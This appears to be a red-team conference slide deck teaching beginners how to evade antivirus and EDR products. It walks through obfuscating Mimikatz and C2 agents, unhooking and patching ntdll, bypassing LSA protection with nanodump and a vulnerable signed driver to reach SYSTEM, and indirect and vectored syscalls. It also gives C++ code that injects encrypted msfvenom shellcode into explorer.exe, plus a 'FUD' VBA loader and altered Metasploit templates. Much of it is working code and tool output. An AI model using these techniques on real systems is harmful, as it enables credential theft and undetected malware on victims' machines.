



AV/EDR Bypass Techniques for new Hackers

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RED TEAM VILLAGE



What is EDR and AV?

Concepts



What is EDR?

- **Endpoint detection and response (EDR)**, also known as **endpoint threat detection and response (ETDR)**, is a cyber technology that continually monitors and responds to mitigate cyber threats;
- Endpoint detection and response technology is used to protect endpoints, which are computer hardware devices, from threat. Creators of the EDR technology based platforms deploy tools to gather data from endpoint devices, and then analyze the data to reveal potential cyber threats and issues. It is a protection against hacking attempts and theft of user data. The software is installed on the end-user device and it is continually monitored. The data is stored in a centralized database. In an incident when a threat is found, the end-user is immediately prompted with preventive list of actions;



What is AV?

- **Definition: Software that is created specifically to help detect, prevent and remove malware (malicious software);**
- Antivirus is a kind of software used to prevent, scan, detect and delete viruses from a computer. Once installed, most antivirus software runs automatically in the background to provide real-time protection against virus attacks;
- Comprehensive virus protection programs help protect your files and hardware from malware such as worms, Trojan horses and spyware, and may also offer additional protection such as customizable firewalls and website blocking;



AV X EDR

- Traditional antivirus programs are more **simplistic and limited in scope** compared to the modern EDR systems. Antivirus can be perceived as a part of the EDR system.
- Antivirus is generally a single program which serves basic purposes like scanning, detecting and removing viruses and different types of malware.
- EDR security system, on the other hand, serves a much larger role. EDR not only **includes antivirus**, but it also contains many security tools like firewall, whitelisting tools, monitoring tools, etc. to provide comprehensive protection against digital threats. It usually runs on the client-server model and protects the various endpoints of an enterprise's digital network and keeps the endpoints secure.



Bypass AV/EDR

Concepts and Techniques



Bypass AV/EDR

- Bypassing an Antivirus or EDR is not a simple task, it requires some knowledge to do so.
- 1. Know how the solutions work;
- 2. Know the operating system that the solution is installed on;
- 3. How the operating system and solution behave together;
- 4. Know the simplest Bypass techniques, involving simple attack vectors, even more robust techniques with more advanced vectors;
- 5. Knowledge of programming is essential, be it high level as (Python, Go, Ruby and C #), C and C ++ languages and the lowest level as assembly.
- 6. Windows API and Sysinternals Concept
-



Bypass AV/EDR - Mitre Att&ck

- Mitre Att&ck helps too much for you to get deeper into techniques to bypass defense mechanisms, I recommend accessing the site and exploring: <https://attack.mitre.org/tactics/TA0005/>

Home > Tactics > Enterprise > Defense Evasion

Defense Evasion

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics' techniques are cross-listed here when those techniques include the added benefit of subverting defenses.



Bypass AV - Techniques (Obfuscation)

- Two common ways hackers mitigate antivirus detection are obfuscation and encryption.
- Obfuscation simply distorts the malware while keeping its form. A simple example would be randomizing the case of the characters in a PowerShell script. The function is the same, PowerShell doesn't care about the case of the characters, but it may fool simple signature-based scanning. In fact, Blackhills wrote about [one well known example of obfuscation](#) that involves changing all references in the notorious memory tampering tool Mimikatz to Mimidogz, along with changing a few other common strings. This simple obfuscation is surprisingly effective, and LMG has used it on engagements to successfully bypass antivirus.
- As a proof of concept, the obfuscated "InvokeMimidogz" powershell script, with a few common strings changed, was taken and obfuscated using the wonderfully powerful opensource tool, InvokeObfuscation, written by Daniel Bohannon in 2016. This tool and the obfuscated powershell script have been around for several years and yet our team at LMG Security regularly and successfully executes Invoke Mimikatz on hosts running antivirus solutions like Kaspersky and Windows Defender.



Bypass AV/EDR - Techniques (C2 and Obfuscation)

- One of the methods I usually use is Trevor C2 + Pyfuscation, obfuscating the agent in powershell using Pyfuscation I was successful in bypassing even EDR and AV like Kaspersky Endpoint Security for Windows

```
root@kali:/home/joas/trevorc2/agents# ls
c test trevorc2_client.cs trevorc2_client.java trevorc2_client.ps1 trevorc2_client.py
root@kali:/home/joas/trevorc2/agents#
```

- Now we are going to use pyfuscation to observe variables, strings and parameters

```
root@kali:/home/joas/PyFuscation# python3 PyFuscation.py -fvp --ps payload2.ps1
root@kali:/home/joas/Downloads/CobaltStrike/cobaltstrike_4.1crackedPerfect# ls
```

```
[*] Obfuscating: payload2.ps1
[*] Variables Replaced : 24
[*] Obfuscated Variables located : /03032021_12_45_17/03032021_12_45_17.variables
[*] Parameters Replaced : 0
[*] Obfuscated Parameters located : /03032021_12_45_17/03032021_12_45_17.parameters
[*] Functions Replaced : 2

Obfuscated Function Names
-----
[*] Replaced connect-trevor With: KFC
[*] Replaced random_interval With: parquetry

[*] Obfuscated Functions located : /03032021_12_45_17/03032021_12_45_17.functions
[*] Obfuscated script located at : /03032021_12_45_17/03032021_12_45_17.ps1
```



Bypass AV/EDR - Techniques

- **Unhooking:** unhooking is a technique working by replacing the ntdll.dll in memory with a fresh copy from the filesystem
- **Repatching:** Repatching works by applying a counter patch to the patch previously applied by the EDR
- **Overload Mapping:** Similar to the above. The payload stored in memory will be also backed by a legitimate file on disk
- **Syscall:** This technique will map into memory only a specified function extracted from a target DLL




Bypass AV/EDR - Techniques (Encryption)

- The second method is encryption. Encryption effectively eliminates the ability for antivirus to detect malware through signature alone. Malware authors commonly use 'crypters' in order to encrypt their malicious payloads. Crypters encrypt a file and attach a 'Stub', a program which will decrypt the contents and then execute them.
- There are two types of crypters: 'scantime' and 'runtime'.
- Scantime crypters are the most naïve and simply decrypt the payload, drop it onto the disk and execute it.
- Runtime crypters use various process injection techniques to decrypt the malicious payload and execute it in memory, never touching the disk.



Bypass AV/EDR - Win32 API

- Some malicious applications use internal operating system APIs, being useful for creating bypass techniques
- VirtualAlloc
- VirtualProtect
- WriteProcessMemory
- CreateRemoteThread
- There is also a hierarchy to the native APIs. User applications will generally call “high-level” APIs in kernel32 and user32 etc, and those APIs will call “low-level” APIs in ntdll.






Bypass AV/EDR - API Unhooking

- To understand the unhooking technique, you must have a base understanding of what “hooking” is. APIs (application programming interfaces) are the interface by which code is used to make things happen on a computer system. Windows has a set of APIs (such as syscall) that can be called to execute instructions that require direct system or kernel-level access. As stated in the previous attack method, most EDR solutions use the gateway ntdll.dll by “hooking” into it to watch for suspicious calls to memory.
- Unhooking refers to a method that attackers can use to load a fresh, unhooked version of ntdll.dll AFTER Windows has already loaded the EDR-hooked version at process launch. At this point the EDR is flying blind to any code that is running and it is unable to monitor the return address for any API calls made, rendering it useless. A thorough hacker will go so far as to “re-hook” the EDR at the end of his operation to cover their tracks. You can read more about how unhooking works in this “red team” article about bypassing EDR to dump credentials.



Bypass AV/EDR - Techniques (Full DLL Unhooking with C++)

- It's possible to completely unhook any given DLL loaded in memory, by reading the .text section of ntdll.dll from disk and putting it on top of the .text section of the ntdll.dll that is mapped in memory. This may help in evading some EDR solutions that rely on userland API hooking.
- Below is a simplified graph, illustrating the core concept of the technique, where a hooked .text section of ntdll.dll is replaced with a clean copy of .text section of ntdll.dll from disk:






Bypass AV/EDR - Bypass LSA

- The Local Security Authority (LSA) validates users credentials and enforces security policies. The Local Authority Subsystem Service (LSASS) implements most of the LSA functionality. Due to it's importance in maintaining the security of a system, LSASS is often attacked to gain access to credentials. In this article, we're going to be looking at LSA protection mechanisms, and how to bypass them.

```
Administrator: Command Prompt
C:\Users\user\Desktop>tasklist | findstr /i "lsass"
lsass.exe                752 Services                0      18,688 K

C:\Users\user\Desktop>nanodump.x64.exe --malseclgon --write C:\Windows\Tasks\dump.doc -p 752 -v
Done, to get the secretz run:
python3 -m pyppkatz lsa minidump dump.doc

C:\Users\user\Desktop>
```



- <https://www.bordergate.co.uk/bypassing-lsa-protections/>



Bypass AV/EDR - Bypass LSA #2

- To bypass LSA Protection you have a few options:
- Remove the RunAsPPL registry key and reboot (probably the worst method since you'll lose any credentials in memory)
- Disable PPL flags on the LSASS process by patching the EPROCESS kernel structure
- Read the LSASS process memory contents directly instead of using the open process functions
- The latter 2 methods require the ability to read and write kernel memory. The easiest method to achieve this will be through loading a driver, although you can create your own I've decided to leverage the RTCore64.sys driver from the product MSI Afterburner. I chose this driver because it's signed and allows reading and writing arbitrary memory.
- <https://github.com/RedCursorSecurityConsulting/PPLKiller>

The screenshot shows the Windows Security settings interface on the left, with the 'Automatic sample submission' and 'Tamper Protection' toggles turned on. On the right, a terminal window displays the execution of a PPLKiller tool. The terminal output shows the following commands and results:

```
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> .\ConsoleApplication1.exe
Usage: C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release\ConsoleApplication1.exe
[/disablePPL <PID>]
[/disableLSAProtection]
[/makeSYSTEM <PID>]
[/makeSYSTEMcmd]
[/installDriver]
[/uninstallDriver]
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> .\ConsoleApplication1.exe /installDriver
[*] Windows Version 2004 Found
[*] "RTCore64" service not present
[*] "RTCore64" service successfully registered
[*] "RTCore64" service ACL to everyone
[*] "RTCore64" service started
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> .\ConsoleApplication1.exe /makeSYSTEMcmd
[*] Windows Version 2004 Found
[*] Device object handle has been obtained
[*] Ntoskrnl base address: FFFFF8B568600000
[*] PsInitialSystemProcess address: FFFFFD0222C88040
[*] System process token: FFFFF8B568600000
[*] Current process address: FFFFFD0222342080
[*] Current process token: FFFFF8B568600000
[*] Stealing System process token ...
[*] Spawning new shell ...
Microsoft Windows [Version 10.0.19041.329]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release>whoami
nt authority\system

C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release>exit
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> .\ConsoleApplication1.exe /disableLSAProtection
[*] Windows Version 2004 Found
[*] Device object handle has been obtained
[*] Ntoskrnl base address: FFFFF8B568600000
[*] PsInitialSystemProcess address: FFFFFD0222C88040
[*] Current process address: FFFFFD022248A080
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> .\ConsoleApplication1.exe /uninstallDriver
[*] Windows Version 2004 Found
[*] "RTCore64" service stopped
PS C:\Users\jacobond\source\repos\ConsoleApplication\vx64\Release> cd C:\minikatzz\
PS C:\minikatzz>
```

Bypass AV/EDR - Indirect Syscall

- With the increasing use of direct syscall as an evasion technique against EDR API hooking, some detection strategies such as "Mark of the Syscall" signature and execution of syscall instruction originating from outside of NTDLL were developed to identify abnormal syscall usage in both static and dynamic perspective.
- Indirect syscall technique aims to replace the original syscall instruction with a jump instruction pointing to a memory address of NTDLL where it stores the syscall instruction. For instance, the offset 0x12 of each NTDLL API (i.e., NtAllocateVirtualMemory) will generally be the syscall instruction as shown below:

```
0:000> u ntdll!NtAllocateVirtualMemory
ntdll!NtAllocateVirtualMemory:
00007ffa`70fcd060 4c8bd1      mov     r10,rcx
00007ffa`70fcd063 b818000000  mov     eax,18h
00007ffa`70fcd068 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`70fcd070 7503        ine     ntdll!NtAllocateVirtualMemory+0x15 (00007ffa`70fcd075)
00007ffa`70fcd072 0f05        syscall
00007ffa`70fcd074 c3          ret
00007ffa`70fcd075 cd2e        int     2Eh
00007ffa`70fcd077 c3          ret
0:000> u ntdll!NtAllocateVirtualMemory+0x12 L1
ntdll!NtAllocateVirtualMemory+0x12:
00007ffa`70fcd072 0f05        syscall
```




Bypass AV/EDR - Indirect Syscall #2

- To obtain the syscall address of each NTDLL API, we could walk through the loaded NTDLL in the current process to obtain the address of each NTDLL exported functions and calculate the offset 0x12 and 0x0f respectively to obtain address pointing to the syscall/sysenter (syscall equivalent in 32-bit OS) instruction. The original SharpWhispers had already did the hard part to locate the export table directory and the relative virtual address of each NTDLL API function. My part will be trying to re-implement the similar function as SysWhispers3 did in CSharp to obtain the address of syscall instruction for each NTDLL APIs.



Bypass AV/EDR - Indirect Syscall #3

- Techniques:
 - Legacy Instruction (int 2Eh)
 - Series of Instructions
 - Random Instruction (nop)
 - Legacy Instruction
- Wrote a C++ code which is doing process injection using direct syscalls. And using msfvenom generated shellcode with AES encryption and injecting it into explorer.exe using syscalls. I always use random names of functions and variables to avoid static detection.



```
DWORD pid = 4244;

unsigned char e4uib2cHQ[] = { 0x70, 0x61, 0x6b, 0x69, 0x73, 0x74, 0x61, 0x6e, 0x7a, 0x69, 0x6e, 0x64, 0x61, 0x62, 0x61, 0x64 };
unsigned char fokXnrnoQZ[] = { 0x7c, 0xa5, 0xae, 0xc2, 0xc2, 0xee, 0x78, 0xf, 0x64, 0xeb, 0xc7, 0xd, 0x36, 0xad, 0x52, 0x35, 0x52, 0xd5,
SIZE_T Kqy1NyrBdA = sizeof(fokXnrnoQZ);
DWORD Kqy1NyrBdAA = sizeof(fokXnrnoQZ);

HANDLE processHandle;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL };
NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL;
NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &Kqy1NyrBdA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NKmi8RFYY((unsigned char *)fokXnrnoQZ, Kqy1NyrBdAA, e4uib2cHQ, sizeof(e4uib2cHQ));
NtWriteVirtualMemory(processHandle, baseAddress, &fokXnrnoQZ, sizeof(fokXnrnoQZ), NULL);
HANDLE threadHandle;
NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
NtClose(processHandle);
```





Bypass AV/EDR - Techniques (Patching the patch)

- here were blog posts by [@SpecialHoang](#) and [MDsec](#) in the beginning of 2019 explaining how to bypass AV/EDR software by patching the patch:
- <https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6>
- <https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/>
- If your implant or tool loads some functions from `kernel32.dll` or `NTDLL.dll`, a copy of the library file is loaded into memory. The AV/EDR vendors typically patch some of the functions from the in memory copy and place a `JMP` assembler instruction at the beginning of the code to redirect the Windows API function to some inspecting code from the AV/EDR software itself. So before calling the real Windows API function code, an analysis is done. If this analysis results in no suspicious/malicious behaviour and returns a clean result, the original Windows API function is called afterwards. If something malicious is found, the Windows API call is blocked or the process will be killed



Bypass AV/EDR - Invoking Unmanaged Code

- In the example below, we use `DInvoke_rs` to dynamically call `RtlAdjustPrivilege` in order to enable `SeDebugPrivilege` for the current process token. This kind of execution will bypass any API hooks present in Win32. Also, it won't create any entry on the final PE Import Address Table, making it harder to detect the PE behaviour without executing it.
- Platform `invoke` is a service that enables managed code to call unmanaged functions implemented in dynamic link libraries (DLLs), such as those in the Windows API. It locates and invokes an exported function and marshals its arguments (integers, strings, arrays, structures, and so on) across the interoperation boundary as needed.
- This section introduces tasks associated with consuming unmanaged DLL functions and provides more information about platform `invoke`. In addition to the following tasks, there are general considerations and a link providing additional information and examples.

```
fn main() {  
  
    // Dynamically obtain the base address of ntdll.dll.  
    let ntdll = dinvoke::get_module_base_address("ntdll.dll");  
  
    if ntdll != 0  
    {  
        unsafe  
        {  
            let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available  
            let ret: Option<i32>; // RtlAdjustPrivilege returns an NTSTATUS value, which is an i32  
            let privilege: u32 = 20; // This value matches with SeDebugPrivilege  
            let enable: u8 = 1; // Enable the privilege  
            let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread  
            let enabled: *mut u8 = std::mem::transmute(&u8::default());  
            dinvoke::dynamic_invoke!(ntdll, "RtlAdjustPrivilege", func_ptr, ret, privilege, enable, current_thread);  
  
            match ret {  
                Some(x) =>  
                    if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }  
                    else { println!("[x] NTSTATUS == {:x}", x as u32); },  
                None => panic!("[x] Error!"),  
            }  
        }  
    }  
}
```



Bypass AV/EDR - FUD Advanced Loader

- FUD advanced Loader implementing dynamic indirect syscall with syscall number and syscall instruction Unhooking with Halosgate technic. Shellcode in UUIDs format to avoid static analysis, syscall instructions and syscall number don't exist in the binary opcode which makes it avoid static analysis and they get resolved at run time. also it gets the API addresses from the PEB by offsets and the comparison is done by hashing.

```
Private Declare PtrSafe Function SetDocumentDate Lib "kernel32" _
    Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As LongLong, ByVal dwMaximumSize As LongLong) As LongPtr
Private Declare PtrSafe Function ModifyDate Lib "kernel32" _
    Alias "HeapAlloc" (ByVal hHeap As LongLong, ByVal dwFlags As Long, ByVal dwBytes As LongLong) As LongPtr
Private Declare PtrSafe Function ChangeDocumentDate Lib "kernel32" _
    Alias "EnumDateFormatsA" (ByVal lpEnumFunc As Any, ByVal Locale As Any, ByVal dwFlags As Any) As Long
Private Declare PtrSafe Function GetDocumentDate Lib "ole32" _
    Alias "CLSIDFromString" (ByVal StringClsid As Any, ByVal Clsid As LongPtr) As Long
#Else
Private Declare PtrSafe Function SetDocumentDate Lib "kernel32" _
    Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare PtrSafe Function ModifyDate Lib "kernel32" _
    Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare PtrSafe Function ChangeDocumentDate Lib "kernel32" _
    Alias "EnumDateFormatsA" (ByVal lpEnumFunc As Any, ByVal Locale As Any, ByVal dwFlags As Any) As Long
Private Declare PtrSafe Function GetDocumentDate Lib "ole32" _
    Alias "CLSIDFromString" (ByVal StringClsid As Any, ByVal Clsid As Long) As Long
#End If
```

Bypass AV/EDR - Vectored Syscall

- It's common to unhook any AV/EDRs hook in order to bypass them. However to unhook the AV/EDRs hook we need to call a famous Win32 API VirtualProtect which eventually ended up calling NtVirtualProtectMemory inside ntdll.dll and that might also be hooked by most of the AV/EDRs. Then there comes a technique called Direct Syscall to rescue us from this situation in which the syscall doesn't go through the ntdll module so the hooks placed in the ntdll module are untouched during the syscall. However, syscalls not originating from ntdll or other known modules are considered suspicious. Direct syscalls can be detected using a technique called hooking nirvana in which instrumentation callback is used.
- Every-time the kernel returns to user mode, the RIP register is checked to see if the address pointed by RIP is in a known module address range, otherwise the syscall is crafted manually.
- Due to the fact that RIP instruction is checked to detect manual syscall, it can be bypassed by jumping indirectly to the ntdll address space where the syscall instruction is located. However, we're not going to do that, instead we'll leverage the VEH (Vectored Exception Handler) to modify the context, especially RIP register to take us to the syscall address.


```
//// Init vectored handle
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);

ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {
    if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // Todo: decode syscall number in Rip if encoded
        // modifying the registers
        exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
        // RIP holds the syscall number
        exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
        // setting global address
        exception_ptr->ContextRecord->Rip = g_syscall_addr;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
}
```





Bypass AV/EDR - Techniques (Patching the patch)



- Both blog posts focus on bypassing the EDR-software CylancePROTECT and build a PoC code for this specific software. By patching the additional JMP instruction from the manipulated NTDLL .dll in memory, the analysis code of Cylance will never be executed at all.
- One disadvantage for this technique is, that you may have to change the patch for every different AV/EDR vendor. It is not very likely, that they all place an additional JMP instruction in front of the same functions at the same point. They will most likely hook different functions and maybe use another location for their patch.



Bypass AV/EDR - Techniques (AV Bypass with Metasploit Templates and Custom Binaries)

- We can re-compile the payloads we use to insert our own shellcode, even modifying a simple template. See an example I took from ired.team
- When generating metasploit payloads, our specified shellcode gets injected into the template binaries. The payload we generated earlier got injected into the template for which the source code is provided below
- If we make a couple of small changes to the code for memory allocation sizes:

```
root@usr/share/metasploit-framework/data/templates/src/pe/exe# cat template.c
#include <stdio.h>

#define SCSSIZE 4096
char payload[SCSSIZE] = "PAYLOAD:";

char comment[512] = "";

int main(int argc, char **argv) {
    (*(void (*)()) payload)();
    return(0);
}
```

```
1  #include <stdio.h>
2
3  #define SCSSIZE 4000
4  char payload[SCSSIZE] = "PAYLOAD:";
5  char comment[712] = "";
6
7  int main(int argc, char **argv) {
8      (*(void (*)()) payload)();
9      return(0);
10 }
```

- Re-compile and generate the payload using the newly compiled template with MSFVENOM



AV/EDR - Conclusion

- There are countless techniques for you to bypass AV / EDR, if I were to talk about all of them, I would probably stay all day and not be able to explain even half, because there are infinite possibilities;
- Attackers use these techniques + attack vectors to compromise their targets, currently the most common is Phishing attacks to gain first access;
- I will leave some materials and courses for you who want to go deeper at the end of this presentation;



AV/EDR - Studying

<https://s3cur3th1ssh1t.github.io/>

<https://www.ired.team/offensive-security/defense-evasion/>

<https://attack.mitre.org/tactics/TA0005/>

<https://www.offensive-security.com/pen300-osep/>

https://www.youtube.com/watch?v=mJZCNqcO10A&t=2s&ab_channel=RedTeamVillage (Filipe Pires)

https://github.com/Techryptic/AV_Bypass

<https://blog.f-secure.com/av-bypass-techniques-through-an-edr-lens/>

https://www.youtube.com/watch?v=MO11gJ-WJqY&ab_channel=BlackHat (AVPASS: Leaking and Bypassing Antivirus Detection Model Automatically)

https://www.youtube.com/watch?v=2HNuzUuVyv0&ab_channel=BlackHat (Red Team Techniques for Evading, Bypassing & Disabling MS)

<https://itm4n.github.io/bypassing-lsa-protection-userland/>

<https://www.netero1010-securitylab.com/evasion/indirect-syscall-in-csharp>



AV/EDR - Studying

<https://systemweakness.com/on-disk-detection-bypass-avs-edr-s-using-syscalls-with-legacy-instruction-series-of-instructions-5c1f31d1af7d>

<https://learn.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions>

<https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/>

<https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/>

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Thank you so much for the
opportunity



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